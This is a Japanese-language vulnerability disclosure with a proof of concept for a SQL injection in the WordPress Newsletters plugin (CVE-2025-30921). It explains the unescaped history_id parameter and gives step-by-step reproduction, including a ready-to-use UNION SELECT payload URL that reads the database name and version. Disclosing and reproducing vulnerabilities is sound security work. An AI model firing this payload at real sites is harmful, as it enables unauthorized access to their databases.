
CVE-2025-30921 の PoC
WordPress プラグイン
コンポーネント名 Newsletters
影響を受けるバージョン <= 4.9.9.7
コンポーネントスラッグ newsletters-lite
コンポーネントリンク https://wordpress.org/plugins/newsletters-lite/
脆弱性クラス A3: インジェクション
脆弱性種別 SQLインジェクション
管理者
Newsletters プラグイン バージョン 4.9.9.7 以下のダッシュボード(/wp-admin/admin.php?page=newsletters)で統計概要グラフを表示する際に、URL パラメータの入力検証とエスケープ処理が不十分なために SQL インジェクション脆弱性が発生します。
この脆弱性により、管理者権限を持つ攻撃者が、対象サイトのデータベース情報を取得することが可能です。
Newsletters プラグイン バージョン 4.9.9.7 以下がインストールされた WordPress サイトを用意します。
Newsletters プラグインのダッシュボードメニュー(/wp-admin/admin.php?page=newsletters)に移動します。

ブラウザの開発者ツールを使用して、'Elements' タブで action=wpmlwelcomestats&security= を検索し、security の値を確認します。たとえば、検索結果が下図のように表示された場合は、22b1ac0de6 をメモします。
// ...
jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
// ...

メモした security の値を以下の URL パスの <SECURITY VALUE> 部分に入力し、その URL にリクエストを送信します。
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
上記 PoC で SQL インジェクション脆弱性が発生する URL をリクエストすると、/wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php ファイル内の ajax_welcomestats 関数が呼び出されます。
このとき、リクエストパラメータ history_id は SQL クエリ文字列の条件句として直接参照され、変数 $history_condition として初期化されます。この変数は、エスケープ処理を一切行わずにデータベースクエリへ渡されます。

したがって、URL パラメータ history_id に入力された値に対する検証やエスケープ処理がないため、SQL インジェクション脆弱性が発生します。(なお、URL パラメータ from および to も、入力検証とエスケープ処理の不備により、SQL インジェクション攻撃の影響を受けます。)
URL パラメータのうち、
history_idに SQL インジェクションのペイロードが含まれており、データベース名(DATABASE())とバージョン(@@VERSION)を取得できます。たとえば、securityの値が22b1ac0de6の場合、次の URL にアクセスします。
http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
URL リクエストのレスポンスを確認すると、history_id パラメータを介した SQL インジェクション脆弱性によって、データベース名とバージョン情報が露出していることを確認できます。
